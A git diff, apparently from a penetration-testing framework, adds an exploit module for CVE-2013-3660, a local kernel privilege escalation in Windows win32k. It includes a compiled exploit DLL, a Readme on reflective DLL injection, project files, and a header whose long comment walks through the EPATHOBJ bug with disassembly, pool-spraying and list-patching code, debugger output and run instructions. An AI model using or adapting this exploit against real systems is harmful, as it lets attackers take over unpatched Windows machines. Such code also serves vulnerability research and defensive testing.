diff --git a/data/exploits/cve-2013-3660/exploit.dll b/data/exploits/cve-2013-3660/exploit.dll
new file mode 100755
index 0000000000..cbb761b568
Binary files /dev/null and b/data/exploits/cve-2013-3660/exploit.dll differ
diff --git a/external/source/exploits/cve-2013-3660/LICENSE.txt b/external/source/exploits/cve-2013-3660/LICENSE.txt
new file mode 100755
index 0000000000..f217025f51
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/LICENSE.txt
@@ -0,0 +1,25 @@
+Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted
+provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of
+conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of
+conditions and the following disclaimer in the documentation and/or other materials provided
+with the distribution.
+
+ * Neither the name of Harmony Security nor the names of its contributors may be used to
+endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3660/Readme.md b/external/source/exploits/cve-2013-3660/Readme.md
new file mode 100755
index 0000000000..8670897457
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/Readme.md
@@ -0,0 +1,71 @@
+About
+=====
+
+Reflective DLL injection is a library injection technique in which the concept
+of reflective programming is employed to perform the loading of a library from
+memory into a host process. As such the library is responsible for loading
+itself by implementing a minimal Portable Executable (PE) file loader. It can
+then govern, with minimal interaction with the host system and process, how it
+will load and interact with the host.
+
+Injection works from Windows NT4 up to and including Windows 8, running on x86,
+x64 and ARM where applicable.
+
+Overview
+========
+
+The process of remotely injecting a library into a process is two fold. Firstly,
+the library you wish to inject must be written into the address space of the
+target process (Herein referred to as the host process). Secondly the library
+must be loaded into that host process in such a way that the library's run time
+expectations are met, such as resolving its imports or relocating it to a
+suitable location in memory.
+
+Assuming we have code execution in the host process and the library we wish to
+inject has been written into an arbitrary location of memory in the host
+process, Reflective DLL Injection works as follows.
+
+* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
+shellcode, to the library's ReflectiveLoader function which is an exported
+function found in the library's export table.
+* As the library's image will currently exists in an arbitrary location in
+memory the ReflectiveLoader will first calculate its own image's current
+location in memory so as to be able to parse its own headers for use later on.
+* The ReflectiveLoader will then parse the host processes kernel32.dll export
+table in order to calculate the addresses of three functions required by the
+loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
+* The ReflectiveLoader will now allocate a continuous region of memory into
+which it will proceed to load its own image. The location is not important as
+the loader will correctly relocate the image later on.
+The library's headers and sections are loaded into their new locations in
+memory.
+* The ReflectiveLoader will then process the newly loaded copy of its image's
+import table, loading any additional library's and resolving their respective
+imported function addresses.
+* The ReflectiveLoader will then process the newly loaded copy of its image's
+relocation table.
+* The ReflectiveLoader will then call its newly loaded image's entry point
+function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
+loaded into memory.
+* Finally the ReflectiveLoader will return execution to the initial bootstrap
+shellcode which called it, or if it was called via CreateRemoteThread, the
+thread will terminate.
+
+Build
+=====
+
+Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
+mode to make inject.exe and reflective_dll.dll
+
+Usage
+=====
+
+To test use the inject.exe to inject reflective_dll.dll into a host process via
+a process id, e.g.:
+
+> inject.exe 1234
+
+License
+=======
+
+Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln b/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln
new file mode 100755
index 0000000000..eff992d77c
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln
@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 10.00
+# Visual C++ Express 2008
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj
new file mode 100755
index 0000000000..33c6bd9515
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj
@@ -0,0 +1,357 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj
new file mode 100755
index 0000000000..ed6cacb681
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj
@@ -0,0 +1,266 @@
+
+
+
+
+ Debug
+ ARM
+
+
+ Debug
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ ARM
+
+
+ Release
+ Win32
+
+
+ Release
+ x64
+
+
+
+ {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}
+ reflective_dll
+ Win32Proj
+
+
+
+ DynamicLibrary
+ v100
+ MultiByte
+ true
+
+
+ DynamicLibrary
+ v110
+ MultiByte
+ true
+
+
+ DynamicLibrary
+ v110
+ Unicode
+
+
+ DynamicLibrary
+ v110
+ Unicode
+
+
+ DynamicLibrary
+ v110
+ MultiByte
+ false
+
+
+ DynamicLibrary
+ v110
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ <_ProjectFileVersion>11.0.50727.1
+
+
+ $(SolutionDir)$(Configuration)\
+ $(Configuration)\
+ true
+
+
+ true
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ true
+
+
+ $(SolutionDir)$(Configuration)\
+ $(Configuration)\
+ false
+ exploit
+
+
+ false
+
+
+ $(SolutionDir)$(Platform)\$(Configuration)\
+ $(Platform)\$(Configuration)\
+ false
+
+
+
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
+ true
+ EnableFastChecks
+ MultiThreadedDebugDLL
+
+ Level3
+ EditAndContinue
+
+
+ true
+ Windows
+ MachineX86
+
+
+
+
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
+ true
+ EnableFastChecks
+ MultiThreadedDebugDLL
+
+
+ Level3
+ EditAndContinue
+
+
+ true
+ Windows
+
+
+
+
+ X64
+
+
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
+ true
+ EnableFastChecks
+ MultiThreadedDebugDLL
+
+ Level3
+ ProgramDatabase
+
+
+ true
+ Windows
+ MachineX64
+
+
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+
+
+ true
+ Windows
+ true
+ true
+ MachineX86
+
+
+
+
+
+
+
+
+ MinSpace
+ OnlyExplicitInline
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+
+ Level3
+ ProgramDatabase
+ true
+ Default
+
+
+ true
+ Windows
+ true
+ true
+ $(OutDir)$(ProjectName).arm.dll
+
+
+ copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\
+
+
+
+
+ X64
+
+
+ MaxSpeed
+ OnlyExplicitInline
+ true
+ Size
+ false
+ WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ MultiThreaded
+ true
+
+ Level3
+ ProgramDatabase
+ CompileAsCpp
+
+
+ $(OutDir)$(ProjectName).x64.dll
+ true
+ Windows
+ true
+ true
+ MachineX64
+
+
+ copy $(OutDir)$(ProjectName).x64.dll ..\bin\
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters
new file mode 100755
index 0000000000..15f7cbf646
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters
@@ -0,0 +1,32 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hpp;hxx;hm;inl;inc;xsd
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h b/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h
new file mode 100755
index 0000000000..11c4134bb4
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h
@@ -0,0 +1,529 @@
+//
+// --------------------------------------------------
+// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
+// ----------------------------------------- taviso@cmpxchg8b.com -----
+//
+// INTRODUCTION
+//
+// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
+// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
+// next list pointer. The bug is really nice, but exploitation when
+// allocations start failing is tricky.
+//
+// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
+// PATHRECORD **pppr,
+// ULONG *pcMax,
+// ULONG cNeeded)
+// .text:BFA122CA mov esi, [ebp+ppr]
+// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
+// .text:BFA122D0 push edi
+// .text:BFA122D1 mov edi, [ebp+pprNew]
+// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
+// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
+// .text:BFA122DA xor edx, edx
+// .text:BFA122DC mov [eax], edx
+// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
+// .text:BFA122E1 and ecx, not (PD_BEZIER)
+// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
+// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
+// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
+// .text:BFA122ED jnz short loc_BFA122F7
+// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
+// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
+//
+// It turns out this mostly works because newpathrec() is backed by newpathalloc()
+// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
+//
+// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
+// .text:BF9160D7 xor esi, esi
+// .text:BF9160DE push esi
+// .text:BF9160DF push esi
+// .text:BF9160E0 push [ebp+tag]
+// .text:BF9160E3 push [ebp+size]
+// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
+// .text:BF9160EB mov esi, eax
+// .text:BF9160ED test esi, esi
+// .text:BF9160EF jz short loc_BF9160FF
+// .text:BF9160F1 push [ebp+size] ; size_t
+// .text:BF9160F4 push 0 ; int
+// .text:BF9160F6 push esi ; void *
+// .text:BF9160F7 call _memset
+//
+// However, the PATHALLOC allocator includes it's own freelist implementation, and
+// if that codepath can satisfy a request the memory isn't zeroed and returned
+// directly to the caller. This effectively means that we can add our own objects
+// to the PATHRECORD chain.
+//
+// We can force this behaviour under memory pressure relatively easily, I just
+// spam HRGN objects until they start failing. This isn't super reliable, but it's
+// good enough for testing.
+//
+// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
+// // failure. Seriously, do some damn QA Microsoft, wtf.
+// for (Size = 1 << 26; Size; Size >>= 1) {
+// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
+// ;
+// }
+//
+// Adding user controlled blocks to the freelist is a little trickier, but I've
+// found that flattening large lists of bezier curves added with PolyDraw() can
+// accomplish this reliably. The code to do this is something along the lines of:
+//
+// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
+// Points[PointNum].x = 0x41414141 >> 4;
+// Points[PointNum].y = 0x41414141 >> 4;
+// PointTypes[PointNum] = PT_BEZIERTO;
+// }
+//
+// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
+// BeginPath(Device);
+// PolyDraw(Device, Points, PointTypes, PointNum);
+// EndPath(Device);
+// FlattenPath(Device);
+// FlattenPath(Device);
+// EndPath(Device);
+// }
+//
+// We can verify this is working by putting a breakpoint after newpathrec, and
+// verifying the buffer is filled with recognisable values when it returns:
+//
+// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
+// win32k!EPATHOBJ::pprFlattenRec+0x1e:
+// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
+// 95c922bd 83f801 cmp eax,1
+// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
+// 95c922c2 33c0 xor eax,eax
+// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
+// 95c922c9 56 push esi
+// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
+// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
+// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
+// kd> g
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+//
+// The breakpoint dumps the first dword of the returned buffer, which matches the
+// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
+// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
+// easily break the list traversal in bFlattten():
+//
+// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
+// {
+// EPATHOBJ *pathobj; // esi@1
+// PATHOBJ *ppath; // eax@1
+// BOOL result; // eax@2
+// PATHRECORD *ppr; // eax@3
+//
+// pathobj = this;
+// ppath = this->ppath;
+// if ( ppath )
+// {
+// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
+// {
+// if ( ppr->flags & PD_BEZIER )
+// {
+// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
+// if ( !ppr )
+// goto LABEL_2;
+// }
+// }
+// pathobj->fl &= 0xFFFFFFFE;
+// result = 1;
+// }
+// else
+// {
+// LABEL_2:
+// result = 0;
+// }
+// return result;
+// }
+//
+// All we have to do is allocate our own PATHRECORD structure, and then spam
+// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
+// pointers shifted right by 4 (for this reason the structure must be aligned so
+// the bits shifted out are all zero).
+//
+// We can see this in action by putting a breakpoint in bFlatten when ppr has
+// moved into userspace:
+//
+// kd> u win32k!EPATHOBJ::bFlatten
+// win32k!EPATHOBJ::bFlatten:
+// 95c92517 8bff mov edi,edi
+// 95c92519 56 push esi
+// 95c9251a 8bf1 mov esi,ecx
+// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
+// 95c9251f 85c0 test eax,eax
+// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
+// 95c92523 33c0 xor eax,eax
+// 95c92525 5e pop esi
+// kd> u
+// win32k!EPATHOBJ::bFlatten+0xf:
+// 95c92526 c3 ret
+// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
+// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
+// 95c9252c f6400810 test byte ptr [eax+8],10h
+// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
+// 95c92532 50 push eax
+// 95c92533 8bce mov ecx,esi
+// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
+//
+// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
+// flags (defined in winddi.h). Let's break if it's in userspace:
+//
+// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
+// kd> g
+// 95c9252c f6400810 test byte ptr [eax+8],10h
+// kd> r
+// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
+// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
+// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
+// win32k!EPATHOBJ::bFlatten+0x15:
+// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
+//
+// The question is how to turn that into code execution? It's obviously trivial to
+// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
+// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
+// poses a problem.
+//
+// Let me demonstrate calling it with my own PATHRECORD:
+//
+// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
+// // pathrecord chain.
+// PathRecord = VirtualAlloc(NULL,
+// sizeof(PATHRECORD),
+// MEM_COMMIT | MEM_RESERVE,
+// PAGE_EXECUTE_READWRITE);
+//
+// // Initialise with recognisable debugging values.
+// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
+//
+// PathRecord->next = (PVOID)(0x41414141);
+// PathRecord->prev = (PVOID)(0x42424242);
+//
+// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
+// // EPATHOBJ::bFlatten(), do that here.
+// PathRecord->flags = PD_BEZIERS;
+//
+// // Generate a large number of Bezier Curves made up of pointers to our
+// // PATHRECORD object.
+// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
+// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
+// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
+// PointTypes[PointNum] = PT_BEZIERTO;
+// }
+//
+// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
+// kd> g
+// win32k!EPATHOBJ::pprFlattenRec+0x28:
+// 95c922c2 33c0 xor eax,eax
+// kd> dd ebp+8 L1
+// a3633be0 00130000
+//
+// The ppr object is in userspace! If we peek at it:
+//
+// kd> dd poi(ebp+8)
+// 00130000 41414141 42424242 00000010 cccccccc
+// 00130010 00000000 00000000 00000000 00000000
+// 00130020 00000000 00000000 00000000 00000000
+// 00130030 00000000 00000000 00000000 00000000
+// 00130040 00000000 00000000 00000000 00000000
+// 00130050 00000000 00000000 00000000 00000000
+// 00130060 00000000 00000000 00000000 00000000
+// 00130070 00000000 00000000 00000000 00000000
+//
+// There's the next and prev pointer.
+//
+// kd> kvn
+// # ChildEBP RetAddr Args to Child
+// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
+// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
+// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
+// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
+//
+// The question is how to get PATHALLOC() to succeed under memory pressure so we
+// can make this exploitable? I'm quite proud of this list cycle trick,
+// here's how to turn it into an arbitrary write.
+//
+// First, we create a watchdog thread that will patch the list atomically
+// when we're ready. This is needed because we can't exploit the bug while
+// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
+//
+// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
+// .text:BFA122BD cmp eax, 1 ; Check for failure
+// .text:BFA122C0 jz short continue
+// .text:BFA122C2 xor eax, eax ; Exit early
+// .text:BFA122C4 jmp early_exit
+//
+// So we create a list node like this:
+//
+// PathRecord->Next = PathRecord;
+// PathRecord->Flags = 0;
+//
+// Then EPATHOBJ::bFlatten() spins forever doing nothing:
+//
+// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
+// {
+// /* ... */
+//
+// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
+// {
+// if ( ppr->flags & PD_BEZIER )
+// {
+// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
+// }
+// }
+//
+// /* ... */
+// }
+//
+// While it's spinning, we clean up in another thread, then patch the thread (we
+// can do this, because it's now in userspace) to trigger the exploit. The first
+// block of pprFlattenRec does something like this:
+//
+// if ( pprNew->pprPrev )
+// pprNew->pprPrev->pprnext = pprNew;
+//
+// Let's make that write to 0xCCCCCCCC.
+//
+// DWORD WINAPI WatchdogThread(LPVOID Parameter)
+// {
+//
+// // This routine waits for a mutex object to timeout, then patches the
+// // compromised linked list to point to an exploit. We need to do this.
+// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
+// GetCurrentThreadId(),
+// Mutex);
+//
+// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
+// // It looks like the main thread is stuck in a call to FlattenPath(),
+// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
+// // up, and then patch the list to trigger our exploit.
+// while (NumRegion--)
+// DeleteObject(Regions[NumRegion]);
+//
+// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
+//
+// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
+//
+// } else {
+// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
+// }
+//
+// return 0;
+// }
+//
+// PathRecord->next = PathRecord;
+// PathRecord->prev = (PVOID)(0x42424242);
+// PathRecord->flags = 0;
+//
+// ExploitRecord.next = NULL;
+// ExploitRecord.prev = 0xCCCCCCCC;
+// ExploitRecord.flags = PD_BEZIERS;
+//
+// Here's the output on Windows 8:
+//
+// kd> g
+// *******************************************************************************
+// * *
+// * Bugcheck Analysis *
+// * *
+// *******************************************************************************
+//
+// Use !analyze -v to get detailed debugging information.
+//
+// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
+// *** WARNING: Unable to verify checksum for ComplexPath.exe
+// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
+// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
+//
+// Followup: MachineOwner
+// ---------
+//
+// nt!RtlpBreakWithStatusInstruction:
+// 810f46f4 cc int 3
+// kd> kv
+// ChildEBP RetAddr Args to Child
+// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
+// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
+// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
+// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
+// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
+// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
+// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
+// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
+// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
+// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
+// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
+// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
+// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
+// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
+// WARNING: Stack unwind information not available. Following frames may be wrong.
+// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
+// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
+// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
+// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
+// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
+// kd> .trap a03aba2c
+// ErrCode = 00000002
+// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
+// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
+// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
+// win32k!EPATHOBJ::pprFlattenRec+0x82:
+// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
+// kd> vertarget
+// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
+// Product: WinNt, suite: TerminalServer SingleUserTS
+// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
+// Machine Name:
+// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
+// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
+// System Uptime: 0 days 0:02:30.432
+// kd> .bugcheck
+// Bugcheck code 00000050
+// Arguments cccccccc 00000001 8f18972e 00000002
+//
+// EXPLOITATION
+//
+// We're somewhat limited with what we can do, as we don't control what's
+// written, it's always a pointer to a PATHRECORD object. We can clobber a
+// function pointer, but the problem is making it point somewhere useful.
+//
+// The solution is to make the Next pointer a valid sequence of instructions,
+// which jumps to our second stage payload. We have to do that in just 4 bytes
+// (unless you can find a better call site, let me know if you spot one).
+//
+// Thanks to progmboy for coming up with the solution: you reach back up the
+// stack and pull a SystemCall parameter out of the stack. It turns out
+// NtQueryIntervalProfile matches this requirement perfectly.
+//
+// INSTRUCTIONS
+//
+// C:\> cl ComplexPath.c
+// C:\> ComplexPath
+//
+// You might need to run it several times before we get the allocation we need,
+// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
+// to improve that.
+//
+// CREDIT
+//
+// Tavis Ormandy
+// progmboy
+//
+
+#ifndef WIN32_NO_STATUS
+# define WIN32_NO_STATUS
+#endif
+#include
+#include
+#include
+#include
+#include
+#ifdef WIN32_NO_STATUS
+# undef WIN32_NO_STATUS
+#endif
+#include
+
+#pragma comment(lib, "gdi32")
+#pragma comment(lib, "kernel32")
